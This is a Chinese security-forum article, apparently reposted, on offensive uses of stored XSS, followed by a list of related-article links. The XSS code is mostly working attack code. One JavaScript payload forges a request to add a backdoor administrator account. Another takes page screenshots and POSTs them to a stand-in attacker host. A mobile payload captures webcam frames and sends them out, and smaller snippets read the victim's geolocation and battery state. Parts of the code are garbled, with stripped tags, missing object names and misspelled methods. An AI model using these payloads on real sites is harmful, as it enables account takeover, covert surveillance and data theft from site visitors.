XSS漏洞的渗透利用另类玩法

2017-08-08 18:20程序设计/微软/手机

作者:色豹

i春秋社区

今天就来讲一下大家都熟悉的 xss漏洞的渗透利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。

1. xss渗透添加管理员

后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。

无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。

这里我们会用到 Java和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。

var request = false;

if(window.) {

request = new.();

if(request.overrideMimeType) {

request.overrideMimeType('text/html');

}

} else if(Window.ActiveXObject) {

var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};

for(var i=0; i<versions.length; i ++){

try{

request = new ActiveXObject(versions);

}catch(e){}

}

}

xmlhttp = request;

add_admin();

function add_admin(){

var url = "/admin/admin_add_user.php"; //添加用户请求地址

var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据

xmlhttp.open("POST",url,true);

xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")

xmlhttp.setRequstHeader("Content-length",params.length);

xmlhttp.setRequstHeader("Connection","close")

}

2. xss截取客户的屏幕

现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。

这里需要用到一个js库html2canvas.js

document.write("< src="html2canvas.js></>");

window.=function(){

html2canvas(document.body, {

onrendered: function(canvas) {

//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post

xhr=function(){

var request = false;

if(window.){

request = new ();

}else if (window.ActiveXObject){

try{

request = new window.ActiveXObject('Microsoft.XMLHTTP');

}catch(e){

}

}

return request;

}();

request = function(method,src,argv,content_type){

xhr.open(method,src,false);

if(method=='POST')xhr.setRequestHeader('Content-type',content_type);

xhr.send(argv); //发送POST数据

return xhr.responseText;

};

attack_a = function(){

var src = "http://xxx.com/xss.php?"; //post接收地址

var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot

request("POST",src,argv_0,"application/x-www-form-urlencoded");

};

attack_a();

}

});

}

上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同

<>

d=document;

v=d.('video');

c=d.('canvas');

c.width=640;

c.height=480;

navigator.webkitGetUserMedia({'video':true},function(s){

v.src=URL.createObjectURL(s);v.play()},function(){});

c2=c.getContext('2d');

x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';

setInterval(x,5000);

</>

这两种服务端获取到的post数据包是 格式的 ,我们只要进行转码即可看到对方的屏幕截图。

3.xss对移动端的渗透

现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。

这里只针对手机端Firefox浏览器说明。

xss获取对方经纬度代码

<>

navigator.geolocation.getCurrentPosition(function(p){

alert('Latitude:'+p.coords.latitude+',Longitude:'+

p.coords.longitude+',Altitude:'+p.coords.altitude);})

</>

xss获取电池状态的代码,这里需要用到Java Battery API

<svg =alert(navigator.battery.level)>

<svg =alert(navigator.battery.dischargingTime)>

<svg =alert(navigator.battery.charging)>

什么是白帽子?是把技术融入生活,变成故事,宣扬正义。邀请你来i春秋社区,呈现你的故事,讲述你的精彩,欢迎大家来“稿”!

1.【探索新思路】

记一次Github项目被fork后的删除经历

【相信经常使用Github平台来托管程序代码的同学可能都会遇到自己项目被未授权fork走的情况,本人最近就遭遇了这样的情况。】

https://bbs.ichunqiu.com/thread-25588-1-1.html

2.【思路分享】

记一次XSS防御绕过的过程 记一次XSS防御绕过的过程

【一个闲的蛋疼的周末,总想搞点事情,于是在网上找到了个cms系统,得挖出点什么来,嘿嘿】

https://bbs.ichunqiu.com/thread-25625-1-1.html

3.【思路分享】

攻破黑市最流行的钓鱼网站2

【上次有人向我反映,我讲的过于快了,不适合菜鸟看,所以这次我写的相对来说比较详细~ 这对于有基础的人来说可能比较煎熬,哈哈】

https://bbs.ichunqiu.com/thread-25640-1-1.html

4.【思路分享】

看我如何通过野路子撸下权6的BBS论坛

【前两天发现一个BBS社区有解析漏洞,但是注册账号以后发现普通会员没有上传图片权限,只有头像处可以传,但抓不到路径就放弃了,今天想起来就继续研究了下。】

https://bbs.ichunqiu.com/thread-25613-1-1.html

XSS漏洞的渗透利用另类玩法的更多相关文章

  1. XSSer:自动化XSS漏洞检测及利用工具

    转载自FreeBuf.COM XSS是一种非常常见的漏洞类型,它的影响非常的广泛并且很容易的就能被检测到. 攻击者可以在未经验证的情况下,将不受信任的JavaScript片段插入到你的应用程序中,然后 ...

  2. qsort的另类玩法,无聊写着耍耍

    #include <stdio.h>#include <stdlib.h>char cmp_shellcode[] = "\x55" "\x89\ ...

  3. 使用Fiddler的X5S插件查找XSS漏洞

    OWASP top 10的安全威胁中的CrossSite Scripting(跨站脚本攻击),允许攻击者通过浏览器往网站注入恶意脚本.这种漏洞经常出现在web应用中需要用户输入的地方,如果网站有XSS ...

  4. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  5. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  6. XSS漏洞的分类

    XSS漏洞依照攻击利用手法的不同,有下面三种类型: 类型A,本地利用漏洞,这样的漏洞存在于页面中client脚本自身.其攻击步骤例如以下所看到的: Alice给Bob发送一个恶意构造了Web的URL. ...

  7. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~   XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...

  8. JSONP 安全攻防技术(JSON劫持、 XSS漏洞)

    关于 JSONP JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案.他实现的基本原理是利用了 HTML 里 <script&g ...

  9. 利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    ==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=----------------- ...

随机推荐

  1. BZOJ 3622: 已经没有什么好害怕的了(二项式反演)

    传送门 解题思路 首先将\(a\),\(b\)排序,然后可以算出\(t(i)\),表示\(a(i)\)比多少个\(b(i)\)大,根据容斥套路,设\(f(k)\)表示恰好有\(k\)个\(a(i)\) ...

  2. C语言中#和##的作用

    使用#把宏参数变为一个字符串,用##把两个宏参数贴合在一起. #include <stdio.h> #define STR1(x) #x//使x成为字符串 #define STR2(x, ...

  3. VMware里克隆出来的CentOS Linux device eth0 does not seem to be present, delaying initialization

    解决办法:1.ifconfig eth1 确定新网卡的MAC地址.nmcli con 确定新网卡的UUIDvim /etc/udev/rules.d/70-persistent-net.rules把原 ...

  4. (转)GitHub上想下载单个文件方法

    找到该文件,单机raw,如下图: 然后会在网页打开该文件,复制URL,下载即可(如果是不可预览文件,会自动下载). 转自: GitHub上想下载单个文件方法 - Smallcaff的博客 - CSDN ...

  5. CMS 开发全过程介绍

    1.Web项目开发的一般流程 a) 需求确定 b) 需求分析 i. 架构分析和设计 ii. 业务逻辑分析和设计 iii. 界面设计 iv. 数据库的设计 c) 开发环境搭建 d) 开发和测试 e) 文 ...

  6. Java.math.BigDecimal.abs()方法

    java.math.BigDecimal.abs()返回一个BigDecimal,其值是此BigDecimal的绝对值,其标度是this.scale(). 声明 以下是java.math.BigDec ...

  7. Cocos2d-x之Node

    |   版权声明:本文为博主原创文章,未经博主允许不得转载. 节点是cocosd-x游戏引擎中的重要元素,是其他重要游戏元素的基类,例如,场景Scene,图层Layer,菜单Menu和精灵sprite ...

  8. 使用element-ui 组件动态合并table的行/列(第二次修改)

    这是第二次修改,在通过调用后台接口返回来的时候,发现了代码中的问题:现在将博客中错误的地方改过来,添加备注 文章需求:动态实现table表格中行/列的自动合并 使用框架及UI类库:Vue+Elemen ...

  9. Python之列表转字典:setdefault、defaultdict、fromkeys

    setdefault result = {} data = [("p", 1), ("p", 2), ("p", 3), ("h& ...

  10. react中替换关键字并且高亮显示的方法

    在react项目中,将关键字高亮显示 : 首先封装一个方法,只需要传入('要检索的内容','检索的关键字','给内容中的关键字加上的有特殊标记的标签名')这三个参数即可高亮显示关键字.详见:https ...